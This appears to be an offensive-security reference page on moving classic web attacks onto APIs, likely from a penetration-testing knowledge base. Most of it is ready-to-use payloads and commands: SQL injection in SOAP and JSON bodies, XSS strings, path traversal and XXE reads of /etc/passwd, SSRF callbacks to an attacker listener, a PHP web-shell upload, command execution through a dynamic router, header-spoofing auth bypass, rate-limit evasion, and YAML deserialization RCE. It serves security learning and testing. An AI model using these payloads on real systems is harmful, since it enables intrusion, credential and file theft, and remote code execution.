Skip to content

API Vuln Context

Every classical web vulnerability can appear through an API surface - the substance is the same, the delivery channel and encoding are different. This page captures the API-specific deltas; the canonical attack mechanics live in their dedicated clusters.

# Same vuln class, different delivery
SQLi via SOAP <username>'; UNION SELECT * FROM users--</username>
XSS via REST /api/echo/<script>... after URL-encoding bypasses naive filters
LFI via API ?filename=../../../etc/passwd (URL-encoded slashes)
SSRF via API ?id=<base64>http://attacker:4444</base64>
XXE via JSON→XML content-type pivot, or any XML-body API
IDOR via REST /api/users/<id> (textbook, see IDOR cluster)
Upload via POST /api/upload/ with .php Content-Type: application/x-php
Cmd inj via API parameter reaching system()/shell_exec()

Success indicator depends on the underlying vuln class - see the linked cluster for each.

The classical web-app vulnerability literature assumes a browser-driven HTML form submitting URL-encoded data. APIs change three things about that picture:

DimensionClassical web appAPI
Body formatapplication/x-www-form-urlencodedJSON, XML, multipart, binary
DiscoveryCrawl HTML, find formsWSDL, OpenAPI, GraphQL introspection, JS bundle reading
Parameter locationURL query or form bodyAny of: URL path segment, URL query, JSON body field, XML element, HTTP header, custom binary frame
EncodingURL-encodedWhatever the format dictates - often double-encoded or base64’d
ReflectionPage-rendered HTMLUsually JSON response (no HTML reflection - XSS rarer but not zero)

The vulnerability mechanics don’t change. The delivery has to adapt to the format. This page covers the adaptation.

The substance: untrusted input concatenated into a SQL query. The API delta: input arrives via a SOAP parameter, JSON field, GraphQL argument, or REST path/query - not a form field.

The classic. The SOAP envelope’s parameter elements behave exactly like form fields:

<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username>' UNION SELECT username, password FROM users-- -</username>
<password>anything</password>
</LoginRequest>
</soap:Body>

Same payload class as form-based injection. SQLMap supports SOAP:

Terminal window
$ sqlmap -u http://target:3002/wsdl \
--data='<soap:Envelope>...<username>*</username>...</soap:Envelope>' \
--dbms sqlite --level 5 --risk 3

The * marks the injection point. SQLMap recognizes SOAP body structure and tests each marked parameter.

POST /api/search HTTP/1.1
Content-Type: application/json
{"query": "test' OR '1'='1", "limit": 10}

SQLMap handles JSON:

Terminal window
$ sqlmap -u http://target/api/search \
--data='{"query":"*", "limit":10}' \
--headers='Content-Type: application/json'
http://target/api/users/1' UNION SELECT password FROM users-- -

Trickier because URL-special characters need encoding:

http://target/api/users/1%27%20UNION%20SELECT%20password%20FROM%20users-- -

The shell context for crafting these is essentially:

Terminal window
$ urlencode "1' UNION SELECT password FROM users-- -"
1%27%20UNION%20SELECT%20password%20FROM%20users--%20-

See the SQLi cluster for the mechanics. See SQLMap request setup for non-standard request shapes (JSON body, SOAP envelope, custom headers).

The substance: untrusted input rendered as HTML in a context that executes JavaScript. The API delta: API responses are usually JSON - no HTML rendering - but there are exceptions.

Some APIs return HTML error pages, status pages, or auto-generated documentation that reflects request parameters:

GET /api/download/<script>alert(1)</script> HTTP/1.1
<p>Sorry, file "<script>alert(1)</script>" not found</p>

The naive payload often gets escaped. Try URL-encoded variants:

http://target/api/download/%3Cscript%3Ealert(1)%3C%2Fscript%3E

Some servers decode once during routing, fail to escape on output → URL-encoded form bypasses naive HTML-encoding filters. See XSS to session.

When the API renders error pages with reflection

Section titled “When the API renders error pages with reflection”

The “value not found” / “invalid parameter” error pattern reflects input:

GET /api/lookup?id=<svg onload=alert(1)>
<error>ID '<svg onload=alert(1)>' is not valid</error>

If the error response is Content-Type: text/html, the payload fires in any browser that fetches it (XS-Search / XS-Leaks style attacks). If the response is Content-Type: application/json, the payload doesn’t fire automatically - but a victim’s browser-side code that JSON.parses and renders the error message may execute it.

The harder-to-spot variant: the API stores attacker-controlled data, the frontend SPA later fetches it and renders. The XSS fires when the frontend renders the API response, even though the API itself is “just JSON”:

POST /api/profile HTTP/1.1
{"display_name": "<img src=x onerror=alert(1)>"}
# Later, when admin views the user list, the frontend does:
# document.getElementById('name').innerHTML = data.display_name ← XSS here

This is the canonical “stored XSS through an API” pattern. The vulnerability sits at the frontend-renders-API-data join, not in either component alone.

The substance: untrusted input reaches a file-open operation on the server. The API delta: usually a filename/file/download parameter in the URL or body.

GET /api/download/..%2f..%2f..%2fetc%2fpasswd HTTP/1.1

Or:

GET /api/download?file=../../../etc/passwd HTTP/1.1

Same primitive as classical LFI. The URL-encoded slashes (%2f) often pass through API routing that would reject literal ../ due to path normalization.

Terminal window
$ curl 'http://target/api/download/..%2f..%2f..%2fetc%2fpasswd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

See LFI cluster for the payload catalog (PHP wrappers, log poisoning, etc.).

POST /api/get-file HTTP/1.1
Content-Type: application/json
{"path": "/etc/passwd"}

Often less defended than URL parameters because input validation typically focuses on URL-level filtering.

The substance: the server fetches a URL the attacker chooses. The API delta: API parameters frequently accept URLs by design (webhook callbacks, avatar URL fetchers, link previews) and the encoding may be non-obvious.

GET /api/userinfo?id=http://attacker:4444/ HTTP/1.1

Often rejected with “id parameter is invalid” - the API expects a structured ID, not a URL. The encoding trick:

Terminal window
$ echo "http://attacker:4444/" | base64
aHR0cDovL2F0dGFja2VyOjQ0NDQv
$ curl 'http://target/api/userinfo?id=aHR0cDovL2F0dGFja2VyOjQ0NDQv'

The API may decode id as base64 internally, treat the decoded value as a URL, fetch it. Listener receives the callback.

When the obvious URL pattern is rejected:

EncodingExample
Plainhttp://attacker:4444/
URL-encodedhttp%3A%2F%2Fattacker%3A4444%2F
Double URL-encodedhttp%253A%252F%252Fattacker%253A4444%252F
Base64aHR0cDovL2F0dGFja2VyOjQ0NDQv
Hex687474703a2f2f61747461636b65723a343434342f
JSON-string-escaped"http:\/\/attacker:4444\/"
Object reference{"url": "http://attacker:4444/"} instead of bare string

For each encoding, watch your listener for callbacks. The encoding that succeeds tells you something about the API’s internal flow - often base64 means “this parameter is normally a token but the back-end blindly trusts decoded content as a URL.”

See SSRF cluster for the full attack catalog (internal scanning, cloud metadata, etc.).

The substance: an XML parser resolves external entities the attacker declares. The API delta: any XML-receiving API is a target, plus the Content-Type pivot for JSON APIs.

POST /api/login/ HTTP/1.1
Content-Type: text/plain;charset=UTF-8
<?xml version="1.0"?>
<!DOCTYPE pwn [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<email>&xxe;</email>
<password>any</password>
</root>

The API parses the XML body, resolves the entity, includes /etc/passwd content in the request processing. See XXE cluster.

A JSON API may also accept XML on Content-Type: application/xml:

POST /api/users HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE pwn [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>

The JSON-converter library on the back-end (Jackson, Symfony Serializer, ASP.NET ModelBinder) may transparently dispatch to an XML parser when Content-Type is XML. The XXE fires before any JSON-specific validation runs.

See XXE Identifying for the full Content-Type pivot discussion.

The substance: the server trusts a client-supplied identifier without checking authorization. The API delta: REST URLs make IDOR more visible (/api/users/74) and more common (every CRUD endpoint is an IDOR candidate by default).

REST APIs are the canonical IDOR surface. Every /api/<resource>/<id> route deserves substitution testing:

Terminal window
$ curl -b 'session=mine' http://target/api/users/74 # baseline (own)
$ curl -b 'session=mine' http://target/api/users/75 # foreign
$ for i in $(seq 1 1000); do
curl -b 'session=mine' "http://target/api/users/$i"
done > all-users.json

See IDOR Identifying and IDOR Mass enumeration for the full catalog.

The substance: the server accepts an attacker-controlled file without validating its type/content correctly. The API delta: API uploads bypass HTML form constraints (no accept= attribute, no JavaScript-side validation), so the Content-Type sent is whatever the attacker chooses.

POST /api/upload/ HTTP/1.1
Content-Type: multipart/form-data; boundary=---xxx
-----xxx
Content-Disposition: form-data; name="file"; filename="backdoor.php"
Content-Type: application/x-php
<?php system($_REQUEST['cmd']); ?>
-----xxx--

The Content-Type: application/x-php is set by the attacker - no browser would default to that. Servers that trust client-supplied Content-Type fail open immediately. The response usually returns the saved file’s URL:

{"success": true, "url": "http://target/uploads/backdoor.php"}

Then:

Terminal window
$ curl 'http://target/uploads/backdoor.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

See Uploads cluster for the complete bypass catalog.

The substance: untrusted input flows into a shell command. The API delta: API parameters often reach system()/shell_exec()/exec() calls in router-style code that uses call_user_func_array or equivalent dynamic dispatch.

The HTB-style pattern:

<?php
// Vulnerable router
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$parts = explode('/', $_SERVER['PATH_INFO']);
call_user_func_array($parts[1], array_slice($parts, 2));
}
?>

Intended use: GET /api/ping/8.8.8.8/3 calls ping('8.8.8.8', '3').

Abuse: GET /api/system/ls calls system('ls'). The first path segment is treated as the function name; subsequent segments are arguments.

Terminal window
$ curl http://target/api/system/id
uid=0(root) gid=0(root) groups=0(root)
$ curl 'http://target/api/system/cat%20%2Fetc%2Fpasswd'
root:x:0:0:root:/root:/bin/bash
...

The vulnerability is the dynamic-dispatch router (call_user_func_array with attacker-controlled function name), not the ping function’s input validation. The route never reaches the ping function. See Command injection cluster.

API authentication tends to use bearer tokens, API keys, or HMAC signatures rather than session cookies. Each has its own attack patterns:

MechanismAPI-specific weaknesses
Bearer tokensLeaked tokens in logs / Referer headers / GitHub commits; token without expiry; JWT signing weaknesses
API keysHardcoded in mobile apps / JS bundles; checked-in to public repos; not bound to IP / origin
HMAC signaturesReplay attacks when nonce isn’t enforced; signature-bypass tricks (sending without signature on endpoints that don’t validate); weak hash algorithms (HMAC-MD5)
OAuth flowsredirect_uri validation gaps; PKCE bypass; client_secret in frontend code
mTLSServer doesn’t validate client cert subject; cert pinning bypass in mobile

For JWT specifically, see JWT attacks. For session-style attacks adapted to API context, see Sessions cluster.

Rate limiting / authentication header tricks

Section titled “Rate limiting / authentication header tricks”

Many APIs apply rate limiting by IP or by API key. Bypass paths:

When the API server respects X-Forwarded-For or similar for rate-limit / authentication:

GET /api/admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

Internal-only endpoints sometimes whitelist 127.0.0.1 and any of these headers, set by an attacker, satisfies the whitelist.

<?php
// Vulnerable whitelist check
$whitelist = array("127.0.0.1", "1.3.3.7");
if (!in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)) {
header("HTTP/1.1 401 Unauthorized");
exit;
}
print("Hello Developer team! ...");
?>

X-Forwarded-For: 127.0.0.1 bypasses the check completely.

For rate-limited endpoints where one token has a per-hour budget:

Terminal window
# Rotate through multiple test accounts
for token in $TOKEN1 $TOKEN2 $TOKEN3; do
curl -H "Authorization: Bearer $token" http://target/api/...
done

Or rotate IPs via proxy chains (Tor, residential proxies, etc.) - beyond the scope of this page.

A relatively novel API-specific attack class: the API accepts multiple formats (JSON, XML, MessagePack, YAML) and parsing differs.

POST /api/login HTTP/1.1
Content-Type: application/yaml
username: admin
password: !!python/object/apply:os.system ["id"]

If the back-end uses Python’s yaml.load() (deprecated) instead of yaml.safe_load(), the !!python/object/apply: directive executes os.system("id") at parse time - RCE before any application logic runs.

The same pattern with different formats:

FormatVulnerable parser
YAMLPython yaml.load, Ruby YAML.load (older)
PicklePython pickle.loads() on untrusted data - always RCE
Java serializedObjectInputStream.readObject() on untrusted bytes - classic ysoserial chain
.NET BinaryFormatterEquivalent .NET vuln
PHP serializeunserialize() with magic methods (__wakeup, __destruct)
MessagePackGenerally safe but custom ext-types sometimes deserializable

When you find an API that accepts multiple formats via Content-Type, try each - the lesser-traveled format is often the one with the deserialization bug.

This bridges into deserialization attacks, which are large enough for their own cluster (a candidate for a future round).

Vuln classAPI delivery patternCanonical cluster
SQL injectionBody element, JSON field, URL path segmentSQLi
XSSAPI error reflection, stored-then-rendered, URL-encoded payloadXSS to session
LFIURL-encoded ../, filename= JSON fieldLFI
SSRFURL parameter, base64-encoded URL, JSON-shaped URLSSRF
XXEXML-body API, JSON→XML Content-Type pivotXXE
IDORREST /api/<resource>/<id> substitutionIDOR
File uploadPOST with attacker-chosen Content-TypeUploads
Command injectionAPI parameter into shell, dynamic-dispatch routerCommand injection
Auth bypass via headersX-Forwarded-For: 127.0.0.1, etc.(this page above)
DeserializationYAML/Pickle/Java/PHP/messagepack via Content-Typefuture cluster
ReDoSLong crafted strings against vulnerable regexReDoS
WordPress XML-RPC abusexmlrpc.php brute / pingback / multicallWP XML-RPC
SOAPAction spoofingBody operation ≠ header SOAPActionSOAPAction spoofing

For the standalone API-specific topic (ReDoS), see ReDoS. For the capstone chain (SOAPAction spoofing + SQL injection), see Skill assessment chain.

Defenses D3-IAA